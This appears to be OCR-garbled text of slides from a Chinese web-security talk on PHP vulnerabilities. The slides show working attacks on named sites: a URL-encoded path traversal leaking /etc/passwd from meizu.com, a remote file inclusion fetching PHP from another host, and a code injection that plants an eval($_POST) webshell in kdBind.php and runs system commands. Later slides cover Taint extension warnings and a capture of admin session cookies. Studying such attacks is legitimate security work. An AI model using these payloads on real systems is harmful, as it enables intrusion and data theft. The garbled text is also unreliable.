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2016 8489384
2017 808837
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3306 1860086

CHINA 1860086
HANGZHOU 522291
BELJING 407996
UNKNOWN 126176
GUANGZHOU 73104
KWUN HANG 29816
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SHANGHAI 46980
CENTRAL DIST 46569
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cookieINELHYIE S btk
code [Xidf
' ' 62F . %2F . . %2F . . %2F. . %2F . . %2F . . %2F. . %2F. .%2F. .%2Fetc%2Fpasswd%00 %&%Fﬁﬁﬁg T l.J EQE\ZT /€tC/paSSWd

Cookile: customer_service_language=.

i

PHPZA M {4 B

"N meizu.com/login.php V& ¢ & was P aB @ :I:
' h bi 1:1:bin:/bin:/sbi ' r2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/ada:/sbin/nologin lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin sync:x:5 \ l

*a(t:*°0'0'*wnt' root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon: emon:./sbin
shutdown b:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbi

N\
%\
sbin "olog~q games:x:12:100:games: /usr/games:/sbin/nologin gopher:x:13:30:gopher:/var/gopher:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin n
/csa:x:69:69:virtual console memory owner:/dev:/sbin/nologin pcap:x:77:77::/var/arpwatch:/sbin/nologin rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbi r""'1
sbin rologln sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin nfsnobody:x:4294967294:4294967294 :Anonymous NFS Us: "'
' | 58 : 68 : HAl :/:/sbin/nologin avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin ‘1EEEEI~

sessage bus:/:/sbin/nologin avahi:x:70:70:Avahi daemon:/:/sbin/nologin haldaemon:x:68:68:HAL daemon:

jistcache:x:94:94:Distcache:/:/sbin/nologin squid:x:23:23::/var/spool/squid:/sbin/nologin named:x:25:25:Named:/var/named:/sb
« D7 1

sbin/nologin kf:x:500:500::/home/kf:/bin/bash ntp:x:38:38::/et¢c/ntp:/sbin/nologin ayvsql :x:27:27:MySQL Server:/var/lib/avsq

B =48

in/nologin webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
bin/bash zabbix:x:501:501::/dev nu;l: sbin/nologin xfs:x:43:43:X

102:104:ntop user:/var/ntop:/sbin/nologin nagios:x:203:503::/home/nagios:/bin/bash H3kf:x:506:506: :/home/53kf:/bin/ba

>N

erdcached:x:101:103:rrdcached: /var/rrdtool/rrdcached:/sbin/nologin ntop:x:1
syncdev:x:208:508: : /home/syncdev:/bin/bash
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INT vl = & SQL- XSS+ Encryption- Encoding- Other-

@ Load URL http://www.gfan.com//plus/imageurl.php?p=http://www.apx88.com/webadmin/upload/pic_seckill/info.php?%00.)pg

& split URL

b Execute

Enable Post data ' Enable Referrer

PHP Version 5.2.17

System
Build Date

Configure
Command

Linux localhost 2.6.18-308.1.1.el5 #1 SMP Wed Mar 7 04:17:30 EST 2012 1686

Aug 31 2011 17:05:36

"./configure' "--host=1686-redhat-linux-gnu’ '--build=1686-redhat-linux-gnu’
'--target=1386-redhat-linux’ '--program-prefix=""--prefix=/usr’ '--exec-prefix=/usr’
'--bindir=/usr/bin’ '--sbindir=/usr/sbin' '--sysconfdir=/etc’ "--datadir=/usr/share'
'--includedir=/usr/include’ '--libdir=/usr/lib" '--libexecdir=/usr/libexec'
'--localstatedir=/var' '--sharedstatedir=/usr/com' "--mandir=/usr/share/man’
'--infodir=/usr/share/info’ '--cache-file=../config.cache' "--with-libdir=lib' *--with-
config-file-path=/etc’ '--with-config-file-scan-dir=/etc/php.d' --disable-debug’
'--with-pic' '--disable-rpath' "--without-pear' "--with-bz2" "--with-curl' '--with-
exec-dir=/usr/bin’ '--with-freetype-dir=/usr' '--with-png-dir=/usr' "--enable-
gd-native-ttf' "--without-gdbm' '--with-gettext’ "--with-gmp' '--with-iconv’ --with-
jpeg-dir=/usr’ "--with-openssl' '--with-pcre-regex=/usr' "--with-zlib" "--with-
layout=GNU' '--enable-exif' '--enable-ftp" '--enable-magic-quotes' --enable-sockets'
'--enable-sysvsem’ '--enable-sysvshm' '--enable-sysvmsg’ '--enable-wddx' *--with-
kerberos' '--enable-ucd-snmp-hack' '--enable-shmop' '--enable-calendar’ *--without-
mime-magic’ '--without-sglite’ "--with-libxml-dir=/usr’ '--enable-xml’ '--with-system-
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H<?php % § 72 éé L\_j- é H:H ﬁg *D L\j-— 7}I:|}EJ\
function writeConfig ($cAccount, $domain) {

$path = dirname( FILE ).'/../OpenPlatform/config/kdBind.php';

r

'

$info = >)php $bindInt irray ("'.$domain. '"=>"".$cAccount."'");

file put contents (S$Spath, $info)  — 4

)

Jfunction getParam($name, $defaultValue = null) {

return isset (5 GET[$name]) ? $ GET[Sname] : ] 2 $ POST[S$name] : $defaultValue);

$CcAccount = getParam('c
$domain = getParam('domail

writeConfig ($cAccount, $domailn) ;




PHPRITCHESEA F B
EJ_héme_w»wv_l'rtmI_corpmgr_file_Placard_corrfig_.._.._.._OpenPIatfonn_config_kdBind.php EBI S _IEJI )\Fﬂz E/\] {‘% ﬁg j{q:

<?php S$bindInfo = array(""=>"S{lprint (system(’'cs
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NEREERASEETEZ—aiEHok T .

M A Y ey I
—a)ig& : cAccount=")?><?php @eval($_POST['c']);?><?php("&domain= ‘ZI_-I = /ETJ-LE

\ /_\ .
phpinfo : cAccount=")?><?php phpinfo();?><?php("&domain= ‘ZH H ,Phplﬂf()()

mazfashelliit . ** ** ** **/OpenPlatform/config/kdBind.php

@ Load URL  http://116.228.58.90/OpenPlatform/config/kdBind.php
% Split URL
’ Execute

v| Enable Post data Enable Referrer

Post data c=system('ls");

config.php kdBind.php mapping.php
WWW.WOOyun.org
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PHPELZZH & & Taint

S GET['a'l; £ —LE X HE PRI ZNE) 1E 0] (echo, print, system, exec)

'

Sfile name

ouptt Tlil G SRR, RETIEAE, MIEMKES_GET.
$5ql "Select * fro : ;

$§ POSTEES COOKIERIENHE, Taint= 12 /s Warning
echo Soutput;

$sql
//Warning: main(): Attempt to eg s tring which might be tainted 1in

"

print S$Svar;
//Warning: main(): Attempt to print a string which might be tainted 1n

include (5file name);
//Warning: 1nclude() [function.include]: File path contains data that might be tainted 1n xxxX.php on X

mysql query ($Ssql);

//Warning: mysql query() [function.mysqgl-query]: First argument contains data that might be tainted 1n xxx.php on

’ ) - .
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Path * | Headers | Preview Response Cookies Timing

R—

=

| tabs.s

empirecmsy

fermpirecmsys kin/default/s

| style.css
(,bb‘ a2 p——
— fempirecms/skin/default.,

_| logo.qgif

— fempirecmns/skin/default.,
rss.gif
femp irecrmssSs kin/

_.| opensource.qgif
fempirecmsfskinfdefault..

j 8865651, pg
— imgl.qq.com/sports/pics...

m‘ empirebak.gif

— fempirecms/skin/default.,

| 61lrequests | 11.7 KB transferred ...

Console | Search Emulation Rendering

Q V¥ <top frame> ¥

® l\\_\i A LE L B LS LS LN YiLVY JoIwG

Accept: text/html, application/xhtml+xml, application/xml; g=@.9,image/webp, */*;q=0.8
Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8

Cache-Control: max-age=0

Connection: keep-alive

Cookie: DedelUserID=1; DedelserID__ ckMdS5=0c355c3adfe@d883; DedelLoginTime=14@2881199; DedeloginTime
__CkMdS=2cf7b575af@b71ff; 28nm_2132 saltkeyv=07qGEQux; 24&nm_2132 lastvisit=14@99@4@18; 24nm_2132
sid=RyAcAz; 28nm_2132 ulastactivity=7c@5vSadqgsqyLFYfNIYupk%2B2F 6CANPYIBYSS09el %2BMdpYZDT1PI%2E;
28nm_2132_checkupgrade=1; 24nm_2132 lastact=14029Q7638%@%dmin. php%@9; clc_username=admin; ECS[w
isit _times]=1l; wxf _lastvisit=0%021409910751%@9%2Fphpwind9%2F index. php; wif _visitor=HoficNc8k7aY(C
XS09Y71416upc7SHMpE 1BE96IL UrdSHasoR3PcLuiWiRMzw%3D; csrf_token=7201Ma3d1628b76; wxf_Pw_verify_co
de=v1PFsYyrell®&3D; cntphecmsdodbdat a=empirecms; cntphloginuserid=1; cntphloginusername=admin; cn
tphloginrnd=halqyV¥9E 2dvdiujivFCw; cntphloginlevel=1; cntpheloginlic=empirecmslic; cntphloginadmi
nstyleid=1; cntphloginecmsckpass=c9cef@edb2lbch53512e5+f53%eabec; cntphtruelogintime=14@9911186
; webfxtab_TabPanel=1; mlukmcheckregkey=14@9913237%2C26b915271fRecctleefbdSat@i@e/eb3%208F136277
75447731264 c@bdcdbd bt : p o

Host: localhost

If-Modified-Since: Fri, 05 Sep 2014 10: @:10Q GMT

If-None-Match: "12000022@c141 -89d8-5024e97283228"

User-Agent Mozilla/5.@ (Windows NT 6.1; WOWEd) AppleWebKit /537.36 (KHTML g4like Gecko) Chrome/37.

» Resource 1nter*pr*e‘ted as Script but transferred with MIME type text/html:
"Wttp: /flocalhost/empirecms/e/member /login/loginis.php?t=0.56200535064853728" . (index): 21

USUERS) :

RBA: TR -

Powered by EmpireCMS 7.0 © 2002-2013 EmpireSoft Inc.
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